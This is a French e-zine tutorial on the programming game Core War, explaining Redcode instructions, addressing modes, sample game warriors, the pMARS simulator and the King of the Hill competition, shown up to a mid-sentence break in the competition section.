.-------[MinDKinD100\#100.02]------- ---- - -------. [M]ind[K]ind #100 | ; | - 09/06/03 | . CoreWar | - SeriousMan | aka '------------- ----. | code war | | _____ . | '--------------------- ---[again, again n again.]---- --------- ------' XXXX XX XX XX XX XX XX XX XXXX XX XXX XXXXX XX XX XXXXX XX XXX XX XX XX XXX XX XX X XX X XX X XXX XX XX X XX XX XX XXXXXXX XXXXXXX XXXXXX XX XX XX XX XX XX XX XXX XXX X XX XX XXXX XXXX XXXX XXXXX XX XX XXXXX X XXXX by SeriousMan ;) Remarque: Ce Tutorial (ou article, mini-tutorial, introduction... est 100% imprimable . I/ C'est quoi : C'est un jeu entre deux ( ou plusieurs ) programmes ( aussi nommé Warrior's ou Soldat) -programmés dans un langage nommé RedCode- qui s'affrontent dans une arène virtuelle constitué de 8000 cases, chaque case pourra contenir une instruction , le but du jeu est que l'adversaire exécute une instruction illégale et meurt. Comme j'ai dis les deux adversaires sont programmées dans un langage nommé RedCode et exécuter dans des programmes qui simulent l'arène et qu'on va les nommé des simulateurs ;-) dont le plus célèbre c'est MARS (Memory Array Redcode Simulator) mais le plus accessible et facile en utilisation pour les débutent (mais pas le plus complet)c'est l'environnement CoreWarrior de Michel CASABIANCA programme en JAVA (donc compatible tous OS) et c'est pour cette raison qu'on va l'utiliser pour la première parti . Vous pouvez le téléchargez ici : http://www.sdv.fr/pages/casa/arc/corewarrior-0.2.zip 138Ko PS: je vous conseille vivement de télécharger un simulateur avant de lire l'article car sans la pratique vous ne comprendrez rien. Voici une liste de simulateur(pris du Faq) pour les téléchargez vous n'avez qu'a lancez une recherche sur google avec le nom du simulateur: MADgic41.lzh corewar for the Amiga, v4.1 MAD4041.lzh older version? MAD50B.lha corewar for the Amiga, beta version 5.0 Redcoder-21.hqx corewar for the Mac, supports ICWS'88 and '94 core-11.hqx corewar for the Mac core-wars-simulator.hqx same as core-11.hqx? corewar_unix_x11.tar.Z corewar for UNIX/X-windows, ICWS'86 but not ICWS'88 compatible koth31.tar.Z corewar for UNIX/X-windows. This program ran the former KotH server at intel.com koth.shar.Z older version kothpc.zip port of older version of KotH to the PC deluxe20c.tar.Z corewar for UNIX (broken X-windows or curses) and PC mars.tar.Z corewar for UNIX, likely not ICWS'88 compatible icons.zip corewar icons for MS-Windows macrored.zip a redcode macro-preprocessor (PC) c88v49.zip PC corewar, textmode display mars88.zip PC corewar, graphics mode display corwp302.zip PC corewar, textmode display, slowish mercury2.zip PC corewar written in assembly, fast! mtourn11.zip tournament scheduler for mercury (req. 4DOS) pmars08s.zip portable system, ICWS'88 and '94, runs on UNIX, PC, Mac, Amiga. C source archive pmars08s.tar.Z same as above pmars08.zip PC executables with graphics display, req 386+ macpmars02.sit.hqx pMARS executable for Mac (port of version 0.2) buggy, no display MacpMARS1.99a.cpt.hqx port of v0.8 for the Mac, with display and debugger MacpMARS1.0s.cpt.hqx C source (MPW, ThinkC) for Mac frontend pvms08.zip pMARS v0.8 for VMS build files/help (req. pmars08s.zip) ApMARS03.lha pMARS executable for Amiga (port of version 0.3.1) wincor11.zip MS-Windows system, shareware ($15) IIIIIII / IIIIIII / III / III / Premiére parti: III / IIIIIII / IIIIIII / II/ RedCode: 1/Intro Le RedCode est un langage très proche de l'assembleur mais plus facile ,c'est avec lui qu'on va écrire nos Warrior ( soldat pour les Francophone). Il y a plusieurs version du RedCode ( ICWS'86 ICWS'88 ICWS'94 ) mais nous on vas utiliser la ICWS'86 dans la première parti du tut (car elle est la plus facile) puis la ICWS'94 dans la deuxième partie (parce Qu'elle est la plus complète. *#*#What's is The ICWS#*#* (traduit du FAQ) Après un an de la première apparition de l'article Core War dans Scientific American , L'International Core War Society" ( ICWS ) a été établi, Depuis ce temps, l'ICWS a été responsable de la création et de la maintenance des Standares et des championnats de Core War . Il y a 6 Championnats et 2 Standares ( ICWS'86, ICWS'88 ) (le ICWS'94 n'est pas (très) officielle mais c'est le plus utilisé. *#*#Fin de:What's is The ICWS#*#* 2/Les instructions (1er partie): Remarque avant de commencer: Au commencement de la bataille les Warrior (et donc leur code) sont mis par hasard dans l'arène constitue de 8000 cases ( normalement ) vide = remplis des "DAT 0" (vous saurez se que c'est après ;) toute instruction est mis dans une case et le Warrior commence son exécution depuis sa première instruction par tour : le premier Warrior exécute sa première instruction puis le deuxième exécute sa première instruction puis vient le tour du premier a exécuter sa deuxième instruction et ainsi de suite jusqu'a ce qu'un Warrior meurt "Un Warrior meurt quand il exécute une instruction illégale ( vous verrez sa après ) , Le dernier Warrior qui reste vivant sera le gagnant . Dernière chose tout ce que je dirais après des ";" ou entre "/*" et "*/" seront des commentaires. Fin de "Remarque avant de commencer" dat 1 : Cette instruction ne fait rien elle sert juste pour staurer les Variables, avant d'y mettre les Warrior dedans l'arène (La Core pour les Anglophones) est remplis de dat 0. mov a b : prend la valeur a et la met dans b ( a et b peuvent être toute chose : des lignes de codes une valeur réel ...( vous le verrez dans la section méthode d'adressage). ex: mov 0 1 ;prend la valeur de l'instruction après 0 case de celle si (donc l'instruction elle même ) et la met dans la case suivante (c'est le plus simple des warior ,son nom est IMP) il met son code dans la case suivante puis l'exécute. -------------------------simulation de IMP------------------------------- (les point sont les case vide (dat 0) et les 1 sont les case de l'IMP (mov 0 1) et x c'est la case s'exécutent dans ce tour) [1]: x0000000000000000000000 [2]: 1x000000000000000000000 [3] 11x00000000000000000000 [10] 111111111x0000000000000 ..... -----------------------fin de simulation IMP----------------------------- jmp a : saute a la case 'a' pour l'executer ( au lieu d'executer l'instruction de la case suivante) . ex: jmp 6;saute 6 case et execute l'instruction puis continue normalement Voici un ptit Warrior made in SeriousVille qui utilise ces deux instruction : mov 0 3 ; copie cette instruction (son adresse est 0) apres 3case jmp 2 ; saute 2 case (donc vers le mov 0 3 ) (le 2 c'est relatif a l'instruction) -------------------Simulation de ce Warrior ---------------------------- (le * avant l'instruction signifie que c'est son tour de s'executer) [1] : | [2] : | [3] | [4]: | [5]: *mov 0 3 | mov 0 3 | mov 0 3 | mov 0 3 | Le programme crashe!!!!!!! jmp 2 | *jmp 2 | jmp 2 | jmp 2 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | mov 0 3 | *mov 0 3 | mov 0 3 | dat 0 | dat 0 | dat 0 | *dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | dat 0 | mov 0 3 | --------------------Fin de simulation ----------------------------------- Vous étés sûrement surpris : "Pourquoi le programme a crashé !!!??!!???". Esque vous rappelez du but du jeu "le but de ce jeu est que l'adversaire exécute une instruction illégale" ,mais quelle sont les instruction illégale: La première instruction c'est le dat, tout Warrior (Soldat) voulant exécuter un dat perdra la partie et mourra b/Les méthodes d'adressage: Le RedCode a 3 méthode d'adressage : Relatif: C'est le mode par défaut . Il est relatif à la case de l'instruction en cour d'exécution .(c'est ce qu'on a vu dans nos exemples par ex mov 0 1) (on peut aussi faire : mov 0 $1). Immédiat : Est indiqué par un signe # avant l'argument . Indique une valeur numérique , sans référence d'adresse . Donc #3 est la valeur numérique 3. ex : jmp 2; c'est pour sauter les dat dat #3 add #1 -1 /* cette commande ajoute le contenu de son premier paramètre (ici 1) a la case du deuxième paramètre (attention on ne peut ajouter Une valeur qu'a un dat sinon le Warrior CRASHE) */ jmp -1 ; reviens au add ----------------------------Simulation----------------------------------- [1]: | [2]: | [3]: | [4]: | [5] *jmp 2 | jmp 2 | jmp 2 | jmp 2 | jmp 2 dat #3 | dat #3 | dat 4 | dat 4 | dat #5 add #1 -1 | *add #1 -1 | add #1 -1 | *add #1 -1 | add #1 -1 jmp -1 | jmp -1 | *jmp -1 | jmp -1 | *jmp -1 ---------------------Fin De Simulation----------------------------------- Indirect : Est indiqué par un signe @ . L'adresse après le signe @ n'est pas l'adresse pointée mais l'adresse de l'adresse pointée (tjs de type dat ) par ex: jmp 2 ;saute le dat dat 2 mov 0 @-1 ; met l'instruction elle meme (0) apres x case du -1 ( donc ;apres x+(-1) case) , ou le x est la valeur de l'instruction dont ;l'adresse par rapport au mov est -1 (tjs un dat) ,(donc x = 2 car ;c'est la valeur du dat). ----------------------------------Simulation----------------------------- [1]: | [2] | [3] | [4] *jmp 2 | jmp 2 | jmp 2 | CRASHE!!!!!!!! dat 2 | dat 2 | dat 2 | mov 0 @-1 | *mov 0 @-1 | mov 0 @-1 | dat 0 | dat 0 | *mov 0 @-1 | dat 0 | dat 0 | dat 0 | -------------------------------Fin de simulation------------------------- Comme toujours vous êtes surpris : "Pourquoi ça crashe!!!!!" Tous simplement car il a exécuté une instruction illégale ( erreur d'indirection) si vous vous rappelez j'ai dis : "L'adresse après le signe @ n'est pas l'adresse pointée mais l'adresse de l'adresse pointée ( OUJOURS DE TYPE DAT )" il faut que l'adresse pointée soit de type de dat mais dans notre cas c'est un mov donc --------------------->CRASHEEEEE c/Les Instructions (2éme parties): Bon, continuent notre découverte d'instruction ;) add a b ; ajoute le contenue de 'a' dans 'b' (relatif) (L'INSTRUCTION DE L'ADRESSE B DOIT ETRE TJS UN DAT OU BIEN : CRASHEEE.... sub a b ;soustrait le contenue de 'a' dans 'b' jmz A B ; Saut à l'adresse A si le contenu de B est nul. (B dat sinon BOOM) ex: jmp 2 dat 0 jmz 2 -1 dat 6 jmp -2 jmg A B ; Saut à l'adresse A si le contenu de B est supérieur à zéro. (il faut que B soit un dat sinon CRASHE ;) ex: jmp 2 ; saute le dat dat 0 jmg 2 -1 ;saut 2 case si se qui est contenue en -1 est different de 0 jmp -1 dat 6 djz A B ; Décrémente (soustrait 1) le contenu de A saut à la case B si le résultat ; est zéro. (il faut que A soit un dat sinon CRASH!!) cmp A B ; compare A et B et saute l'instruction suivante s'ils sont different ex: jmp 3 ; saute les dat dat 0 dat 3 add #4 -2 ; ajoute 4 au dat 0( dont l'adresse est -2) add #3 -2 ; ajoute 3 au dat 3(dont l'adresse est -2 (c'est relatif)) cmp -4 -3 ;compare le contenue de -4 et -3 et saute l'instruction suivante ;s'ils sont different mov 0 1 ; IMP jmp -4 ; reviens au premier add ----------------------------simulation----------------------------------- [1]: *jmp 3 dat 0 dat 3 add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [2]: jmp 3 dat 0 dat 3 *add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [3]: jmp 3 dat 4 dat 3 add #4 -2 *add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [4]: jmp 3 dat 4 dat 6 add #4 -2 add #3 -2 *cmp -3 -4 mov 0 1 jmp -4 [5]: jmp 3 dat 4 dat 6 add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 *jmp -4 [6]: jmp 3 dat 4 dat 6 *add #4 -2 add #3 -2 cmp -3 -4 mov 0 1 jmp -4 [apres 2 cycles]: jmp 3 dat 12 dat 12 add #4 -2 add #3 -2 *cmp -3 -4 mov 0 1 jmp -4 [apres 2 cycles + 1]: jmp 3 dat 12 dat 12 add #4 -2 add #3 -2 cmp -3 -4 *mov 0 1 jmp -4 puis le programme deviens un simple IMP . ----------------------------simulation----------------------------------- C'est fini pour ce chapitre ,mais je vous conseille de ne pas continuer ce texte que si vous ne l'avez pas bien compris parseque c'est la base. III/Les Warriors: On a vu Le RedCode et ses instruction (ICWS'86) donc passons a l'attaque et utilisons nos connaissance pour programmer quelque Warrior (Soldat pour les 100% francophone) . Donc ( comme vous l'avez su avec votre mega intelligence) dans ce chapitre nous allons étudier quelque exemples de Warrior fait par moi ou par des autres génies . Remarque: cette partie n'est pas très bien conçu pour être imprimé . 1/Le RADAR :(par un anonyme) /*phase 1 du prog*\ mov #1 -100 /*met un 1 dans la case -100 (c'est une case piege si sa valeur change s'est k'il y a kelkun qui a passe ici)*/ add #19 14 ; ajoute 19 ala case 14 (ca serve comme un compteur) mov #0 @13 /*Bombarde avec des 0 (pour que le programme adverse fait l'erreur de l'exécuter. */ cmp #1 -103 /*verifie si la case piege a change de valeur si oui alors il va ala deuxieme partie */ jmp -3 /* si non reviens au bombardement (bombarde la case d'avant + 19) */ /*phase 2 du prog *\ mov @11 @12 ;\ cmp #1 10 ; \ jmp 4 ; \ add #1 8 ; \Phase 2: cette boucle copie le programme dans ; \un autre bout add #1 8 ; /de la memoire puis va la bas jmp -5 ; / mov #-16 -129 ; / mov #-16 -129 ; / mov #-150 -129 ;/ JMP -147 ;/ dat -16 ;compteur de bombardement dat -16 ;compteur de copie du prog (1er parametre du mov) dat -150 ;compteur de copie du prog (2eme parametre du mov) Se Warrior (faible) bombarde la mémoire en priant de tomber sur l'adversaire et en même temps il met une case piège et vérifie qu'elle n'a pas change mais si elle change alors il va a la phase 2 ou il se copie dans un autre bout de memoire et complète son travail la bas. Mais le point faible du prog s'est qu'il va s'auto détruire après un certain temps . 2/L'anti IMP :(par un anonyme) jmp 2 ;saute le jmp 23 (sinon on se retrouvera en plain dat) jmp 23 ;c'est avec sa qu'on va bombarder les 10 cases d'avant mov -1 -3 ;\ mov -2 -5 ; \ mov -3 -7 ; \ mov -4 -9 ; \Bombardement des 10 cases s'avant mov -5 -11 ; \ mov -6 -13 ; / mov -7 -15 ; / mov -8 -17 ; / mov -9 -19 ; / mov -10 -21;/ jmp -10 ;reprend le bombardement Ce Warrior ne fait que tue le IMP (vous l'avez deviné je crois, non ?) sa tactique est très simple : Il bombarde les 10 case avant son code avec des jmp 23 pour que IMP l'exécute et se lance vers un dat . 3/L'anti IMP +add'on de copie (add'on fait par SeriousMan ): Le But de mon ajout est de faire en sorte que ce warrior se déplace au lieu d'être immobile ,ce ne lui ajoute rien en force mais c'est seulement pour vous faire découvrir comment déplacer un warrior voici le code (a vous de le décoder;): jmp 7 add #-5 4;\ces deux add pour que le prog marche add #-6 4*/ apres sa copie ( les valeurs des dat sont changé avant d'etre copie) jmp 4 ; saute les dat dat 20 dat -5 /* compteur pour voir si le programme a fini de se copier (et serve pour d'autre chose) */ dat 40 ;pour savoir ou copié le warrior (deuxieme parametre du mov) jmp 2 jmp 60 ;va au programme copie mov -1 -10 mov -2 -12 mov -3 -14 mov -4 -16 mov -5 -18 mov -6 -20 mov -7 -22 mov -8 -24 mov -9 -26 mov -10 -28 add #1 -14 ; ajoute 1 a la source add #1 -14 ;ajoute 1 a l'adresse mov @-16 @-15 ; copie une case cmp @-17 @-18 ;eske le tout le code s'est copie jmp 24 ; si oui alors va a la nouvelle adresse jmp -15 ;si non alors fini ton boulo 4/exercices: a/Changez le code du anti IMP + plug'in pour qu'au lieu de bombarder les 10 cases avant il va bombarder toute la mémoire ( il est impératif de savoir faire ça si vous ne pouvez pas le faire je vous conseille de relire se que j'ai écris avant). b/Gerimini : add #99 -1 mov @-3 @-2 cmp -4 #10 jmp 4 add #1 -6 add #1 -6 jmp -5 mov #99 92 jmp 92 Vous n'avez que comprendre le code avant de l'executer . 5/Bombarder (par anonyme): jmp 2 ; saute le dat dat 8 ;le compteur du bombardement add #9 -1 ;on ajoute 9 au compteur mov -2 @-2 ;on bombarde jmp -2 ;puis on reviens pour bombarder la neuvieme case aprés la derniere qu'on a bombarde Ce code est simple il bombarde tout les 9 case une avec un dat ,il se serve d'un compteur qu'il augmente de 9 après avoir bombarder. 6/Double bombarder (par moi ,SeriousMan): jmp 3 ;saute les dat dat 14 ;le compteur du bombardement positif dat -8 ;le compteur du bombardement negatif add #15 -2 ;augment le compteur du bombardement positif sub #15 -2 ;decremente le compteur du bombardement negatif mov -3 @-3 ;bombarde en avant (positivement) mov -5 @-5 ;et en arriere (negativement) jmp -4 Ce Warrior bombarde comme son aine le Bombarder mais au lieu de bombarder dans une seul sens il bombarde dans deux . Bon je crois que j'était clair et simple dans cette partie et que vous avez compris tout ce que je disais car c'était la parti facile donc ne la quitter pas que si vous l'avez tout compris . Ps:Pour la prochaine parti je ne détaillerai pas bc les codes . IIIIIIIIIIIIII / IIIIIIIIIIIIII / III III / III III / Deuxiémme parti : III III / IIIIIIIIIIIIII / IIIIIIIIIIIIII / IV/Mars et le ICWS' 94: 1/MARS : MARS est l'acronyme de Memory Array Redcode Simulator (en FR: Simulateur de Tableau de mémoire RedCode ) , c'est le plus populaire et le premier simulateur de RedCode . MARS est disponible dans plusieurs platform :Dos ,Unix ,Linux ,Mac, mais dans tout les cas sans l'interface graphique et ces jolies bouton, ici tout ce fait depuis la ligne de commande . MARS marche avec la version 94 du RedCode ( ICWS' 94 ) mais il est compatible avec la version 88 (avec l'option -8). La grande différence entre MARS et L'environnement CoreWarrior de Michel CASABIANCA réside dans le syntaxe , donc vous ne pourrez pas utilisez les codes de l'un sur l'autre . Il faut faire quelque changement pour cela (on le verra après). Mais le plus grand Changement de MARS réside qu'il soit Multitâche : Les Warrior commence en une seule tache mais il pourrons après splitter en autre tache après que tout les tache du Warrior seront tue le Warrior sera déclare mort. Remarque : Les sources de MARS sont disponible gratuitement dans le zip pmars08s.zip. 2eme Remarque: La dernière version de MARS date de 95 . a/Installation : Pour installer MARS sous dos c'est tres facile : 1-Telechargez MARS ici : http://www.koth.org/pmars (La derniere version de UNIX est la 0.9 et pour le win c'est la 0.8). 2-Dezzipez le fichier pmars08.zip dans un dossier -pour moi ca sera C:\Mars\). 3-Ouvrez une fenetre DOS et faite CD C:\Mars\ - pour vous sa sera le dossier ou vous l'avez dezzipez). 4-enfin faites : PMARSV [option] Fichier1 Fichier2...Fichier n. pour voir le combat s'executer graphiquement ou : PMARS [option] Fichier1 Fichier2...Fichier n. pour ne voir les resultats du combats. Pour installer MARS sous Linux : Je ne l'ai jamais essayer mais je crois qu'il vous faut Linux SVGA library (libvga) version 1.12 ou plus puis compiler le tout (contenu dans pmars08s.zip) et exécuter. mais je vous conseille de voir le ReadMe (en anglais) pour plus d'information. b/Les Options: (je ne mettrais que les options principale) -r: Nombre de Round a jouer (par defaut 1) -s: La taille de l'arene (par defaut 8000) -c: Nombre de cycle avant la fin du combat (par defaut 80000) -l: La longueure maximale du soldat (par defaut 100) -F: La position du 2eme warrior -e: Activer le debuger (tres tres interressante option) -b: Ne pas afficher les sources -8: Appliquer les regles ICWS'88 c/Utilisation: (tout ce que nous ferions avec MARS sera sous DOS ,ou sous le shell) pmars08.zip est fournis avec quelque code de quelque Warrior connu comme rave ,USELESS,Tornado ou aeka (Tout les Warrior sont les .red) donc on les utilisera pour notre premiere utilisation (bonne phrase;): pmarsv -r 5 -b rave.red aeka.red (faites sa en plain écran sinon vous ne verrez rien) (le -r 5 pour qu'on joue 5 round et le -b pour qu'il ne nous montre pas les sources (c'est chiant)). On clike sur entrer et Boom on vois des 1 ,des ., des - et + le tout coloré en vert et en bleu et apres qu'on clique sur n'importe quelle touche on vois: Rave by Stefan Strack 7 Aeka by T.Hsu 7 Results: 2 2 1 Bon pour que vous comprenez ,les resultas sont affiche dans cet ordre: a b c a: Le nombre de round gagne par le premier Warrior (dans notre example c'est Rave) b: Le nombre de round gagne par le deuxieme Warrior c: Le nombre de round nul Remarque: Si par ex il y a 3 Warrior qui se battent en meme temps (c'est une nouvelle fonctionalite qui n'etait pas presente dans notre premier simulateur) le c sera le nombre de round gagné par le 3eme warrior et le d sera le nombre de round nul). Les Scores sont calculer par cette methode: warrior 1: points = wins1 * F + draw's * F warrior 2: points = wins2 * F + draw's * F (en anglais mais pas tres difficile a comprendre ;) ou F par defaut egale a : (W*W-1)/S ;W=Nombre des Warriors participant et S le nombre de survivant. d/L'interface graphique: En exécutant vos Warrior vous avez remarque les 0, . et 1 colore qui dansent dans l'écran , tout ces caractère signifie une chose : -Toute couleur définie un Warrior (le premier sera le bleu et le deuxième sera le vert) -Les 0 et 1 signifie que le programme a exécuter un instruction dans cette case -Les nombres qui flashe signifie que le Warrior (ou une parti du Warrior) a exécuter dans cette case une instruction illégale - "." Une case qu'on écris sur ou on lis de - "-" Une qu'on décrémente - "+" Une case qu'on ajoute Remarque : L'arène de CoreWar est de 8000 case et l'écran est constitue de 2000 caractère donc tout caractère constitue 4 case (le dernier accès des 4 case est afficher). e/Le débuguer REMARQUE: DANS CETTE PARTI JE NE VAIS QUE VOUS INTRODUIRE LE DEBUGUER DE MARS, JE N'APPROFONDIRAIS PAS DANS SES FONCTIONS. ( PEUT ETRE JE FERAI CA DANS UN AUTRE TUTORIAL ( une autre catastrophe ;). On commence par mettre cela dans imp.red : ;redcode-94 ;name IMP ;author ChaiPo mov 0,1 end puis on execute: pmarsv imp.red -e -s 15 (le -s pour limite l'arène de 15 case pour meilleur lisibilité) Vous pouvez avec les flèches haut et bas navigue dans la mémoire La ligne bleu est celle en cours d'exécution Utilisez s (step) pour exécuter la ligne Utilisez r pour voir la sommaire des registres (vous pouvez voir ici le nombre de vcycle passe, nombre de processus active ,la round..) Utilisez "entrée" au lieu de retaper la dernière commande Utilisez e [case] (edit) pour éditer l'adresse de la case Utilisez c (continue) pour quitter Le débuguer est continue l'exécution normalement Utilisez go pour continuer l'exécution jusqu'a la prochain trace Utilisez fill pour mettre une instruction dans une adresse Utilisez Trace [range] pour mettre un trace (Un Break Point) dans une case Utiliser q pour quitter MARS Utilisez help pour lister les commandes f/Le syntaxe: La première chose qu'il faut savoir que les Warrior (.red) commence par un header: ;redcode-94 (La version de RedCode Utilise) ;name Warrior (Le nom du Warrior) ;author Mr Dupont (L'auteur) ;strategy Carpet-bombing scanner based on Agony and Medusa's \ La strategie ;strategy (written in ICWS'94) / utilisé ;strategy Submitted: @date@ / par le Warrior ;assert CORESIZE==8000 (La taille de l'arène utilise et les autres options nécessitant pour l'exécution normale du warrior) La deuxième changement pour MARS c'est que le A(Field) et le B(Field) sont sépare avec un "," aussi on trouve qu'on peut designer des cases ou nombre par un nom par ex : ---------------------------------------------------------------------- jmp debut ;saute les dat jusqu'a debut Bomb dat 10 ;on va utiliser ce dat pour bombarder debut mov Bomb, @Bomb ; \routine add #10, Bomb ; /de jmp debut ;/ Bombardement end ;fin du Warrior ---------------------------------------------------------------------- Simple, non. Autre chose: on peut donner a des variable un nom avec equ . Le même code devient comme ça : ---------------------------------------------------------------------- x equ #10 jmp debut Bomb dat x debut mov Bomb, @Bomb add x, Bomb jmp debut end ---------------------------------------------------------------------- Ca nous simplifie la vie, non ? On va utilise se qu'on a appris pour refaire L'anti-IMP (vous souvenez de lui ?) ---------------------------------------------------------------------- ;redcode-86 ;name Anti-IMP ;author Mr Dupont ;strategy Bombarder les 20 cases avec des jmp 23 pour que IMP l'exécute ;strategy et tombe sur les dat. ;assert CORESIZE==8000 jmp Debut Bomb jmp 23 Debut mov Bomb, -3 mov Bomb, -5 mov Bomb, -7 mov Bomb, -9 mov Bomb, -11 mov Bomb, -13 mov Bomb, -15 mov Bomb, -17 mov Bomb, -19 mov Bomb, -21 jmp Debut ------------------------------------------------------------------------- Note:J'ai essayer Ce Warrior Contre l'IMP (dans 1000 round) et il a gagné 912 perdu aucune fois et le match etait nul 88 fois. 2/ICWS'94: Beaucoup de changement on etait fait au ICWS'94, je ne vais pas tout les ecrires mais si vous voulez les savoire liser redcode.ref (disponible dans pmars08.zip) . Le premier changement est dans la présence deux valeur a tout instruction ex: dat #15 est dat #0, #15 jmp $15 est jmp $0, $15 Cela aura comme consequence la presence des instructions qui agit sur la premiere valeur ( A-Field ) et d'autre agissant sur la deuxiemme valeur (B-Field),au lieux de cela les createurs du ICWS'94 on eu une idée geniale: Les modifiers . --------------------------------------------------------------- Le syntax d'une ligne de code devient : Label Commande A-Field, B-Field (Une "commande" est une "instruction" basic avec un "modifier".) (Une "field" est une methode d'adressage avec un nombre.) --------------------------------------------------------------- Pour que vous comprenez les modifiers on va voir un example(dwarf): dat.f #0, #12 add.ab #4, $-1 mov.i $-2, @-2 jmp.a $-2, $0 DAT .f Le .f veux dire les deux field mais note que la data est dans la B-Field. ADD .ab Prend le nombre de (A-Field) est l'ajoute au nombre contenu dans la valeur de la (B-Field) est mes le tout dans la (B-Field) MOV .i Le .i veux dire l'instruction complete JMP .a Le .a veux dire que la adresse de destination est dans la (A-Field) Pour que vous comprenez plus voici une démonstration rippée du Steve's Guide for Beginners Iss 6 (v3): st add.a #1, #10 #2, #10 add.ab #1, #10 #1, #11 add.ba #1, #10 #11, #10 add.b #1, #10 #1, #20 add.f #1, #10 #2, #20 add.x #1, #10 #11, #11 add.i #1, #10 #2, #20 add.a $a1, $a2 jmp $ab a1 dat #1, #10 #1, #10 a2 dat #4, #40 #5, #40 ab add.ab $ab1, $ab2 jmp $ba ab1 dat #1, #10 #1, #10 ab2 dat #4, #40 #4, #41 ba add.ba $ba1, $ba2 jmp $b ba1 dat #1, #10 #1, #10 ba2 dat #4, #40 #14, #40 b add.b $b1, $b2 jmp $f b1 dat #1, #10 #1, #10 b2 dat #4, #40 #4, #50 f add.f $f1, $f2 jmp $x f1 dat #1, #10 #1, #10 f2 dat #4, #40 #5, #50 x add.x $x1, $x2 jmp $i x1 dat #1, #10 #1, #10 x2 dat #4, #40 #14, #41 i add.i $i1, $i2 jmp $0 i1 dat #1, #10 #1, #10 i2 dat #4, #40 #5, #50 end st Enfin ,voici la liste complete des modifiers : .A L'instruction lis et ecris sur la (A-Field) .B L'instruction lis et ecris sur la (B-Field) .AB L'instruction lis de la (A-Field) et de la (B-Field) puis ecris dans la (B-Field) .BA L'instruction lis de la (B-Field) et de la (A-Field) puis ecris dans la (A-Field) .F L'instruction lis du A- et B-Field et ecris sur A-et B-Field (de A vers A et de B vers B) .X L'instruction lis du A- et B-Field et ecris sur A-et B-Field (de A vers B et de B vers A) .I L'instruction lis et ecris l'instruction complete Un autre changement dans le ICWS'94 est dans l'apparition de nouvelle methodes d'adressage : < addressage predecrement indirect utilisant la B-field (C'est comme l'adressage indirect mais en plus il decrement la valeur de la B-field ) > adressage postincrement indirect utilisant la B-field (C'est comme l'adressage indirect mais en plus il ajoute 1 la valeur de la B-field ) * adressage indirect utilisant A-field (C'est comme l'adressage indirect mais il utilise la A-field ) { addressage predecrement indirect utilisant la A-field (C'est comme l'adressage predecrement indirect mais au lieux d'utiliser la B-field il utilise la A-Field) } adressage postincrement indirect utilisant la A-field (C'est comme l'adressage postincrement indirect mais au lieux d'utiliser la B-field il utilise la A-Field) Enfin le dernier et le plus important ajout dans l'ICWS'94 est l'ajout de nouvelles instruction : SPL Split le warrior, en produisant un nouveau processus . Remarque:Après avoir splitter votre Warrior en N processus,tout processus s'executera a une vitesse 1/N de la vitesse original si vous ne comprenez pas c'est tout a fait normale ---->c'est pour cela que je vais vous faire un ptit hmm...grand exemple pour vous (ATTENTION J'AI PRIS CETTE EXAMPLE ET SON EXPLICATION DU 1ER NUMERO DE LA NEWSLETTER COREWAR et c'est parce qu'il est vraiment génial): EXAMPLE : ##################################Start################################## start spl 1 mov -1, 0 ;produit 3 processus parallèle silk spl.a @0, 100 ;split mov.i }silk, >silk ;se copie jmp.a silk, }silk ;repéte la meme chose Les premières deux lignes produit 3 processus qui exécute la même ligne l'un après l'autre, puis fasse la même chose avec la suite. La première ligne crée un nouveau processus qui va s'exécuter dans la suivante case (start+1), puis le processus 1 copy la première case (spl 1) avec le mov ,enfin vient le tour du processus 2 qui va générer un 3eme processus dans silk : --------------*pour le prcessus1 #pour le 2 et " pour 3----------------- *spl 1 |spl 1 |spl 1 | On a 3 | mov -1, 0 |*mov -1, 0 |#spl 1 | processus | On génère le 1er |on copy le spl |On génère le| | Processus | |processus 2 | | ------------------------------------------------------------------------ (Je ne vais pas détailler la prochaine section du code mais si vous n'avez pas compris une chose vous pouvez voir le premier numéro de la newsletter CoreWar dans la section Tips&Hints ( C'est en anglais ) ) Après ça le Warrior génère 3 autre processus après 100 cases ou il va recopier son code la bas ( pas tout les lignes mais juste les trois dernière, avant de reprendre son travail dans l'autre place (+100) et continuer a faire cela a l'éternité (quelle fin romantique). ####################################Fin################################## MUL Multiplie A par B, sauve le résultat dans B. DIV Divise B par A, sauve le résultat dans B si A <> 0, sinon termine. MOD Divise B par A, sauve le reste dans B si A <> 0, sinon termine. JMN Saute vers A si B est différent de 0 . DJN Décrémente B, si B est différent de 0, saute vers A. SLT Saute la prochaine instruction si A < B. SEQ Saute la prochaine instruction si A = B. SNE Saute la prochaine instruction si A n'est pas égale a B. NOP No opération ( ne fait rien (un ;) pour les cracker :) ). La dernière chose pour la fin de cette parti : les pseudo-instruction (Traduction de pseudo-OpCode), se sont comme des instructions mais pas des instruction (quelle explication clair!! ;) les voici: ORG start Spécifies le commencement du code (ça peu servir au lieu du jmp des dat) END [start] Fin du code [count] FOR expression répète l'instruction jusqu'a ce que ROF "instruction" aye une valeur de true, le compteur commence depuis 1 est incrément a chaque fois (c'est la même chose que le "for" des autres langages (C, C++, PHP..) Je crois que je n'ai rien oublie, pour la fin (de cette parti (ICWS'94) C'est long, mais c'est nécessaire) je vous conseille de lire RedCode94.ref. 3/KotH: Vous avez appris a faire des Warriors mais maintenant vous voulez participe dans des compétition et défier des autre passionne de ce magnifique jeu : J'ai une solution KotH!!! >>>KotH ,koi ? (Traduit du FAQ) King Of The Hill (KotH) est une compétition (Championnat) valable pour tout le monde par email. vous pouvez entrer en envoyant un email avec votre Warrior en RedCode vous recevrez un reply avec les résultats de votre Warrior contre les autres Warrior de la Compétition Il y'a deux style de championnat de KotH : #Classique: Les match (ou combats) ce fait avec 2 Warrior, votre Warrior jouera 100 combats contre 20 autres Warrior qui sont dans la compétition Vous recevez 3pts quand vous gagnez 1pts au cas du nulle et rien si vous perdez . Apres tout round les scores sont refrechis, les Warrior sont mis du haut vers le bas si vous avez la 21eme place vous serez kiker du Hill (Championnat) #Multi-Warrior: Dans ce style tout les warriors se combatte en même temps les scores sont calcule complexement, Bref les point sont calcule a partir de nombre des warriors qui reste vivant après la fin du round URL: http://www.koth.org/ Email (ou vous envoierez votre Warrior's): koth@koth.org ATTENTION: Pour être accepter il faut que les warrior's envoyer a KotH aie un header (le truc du 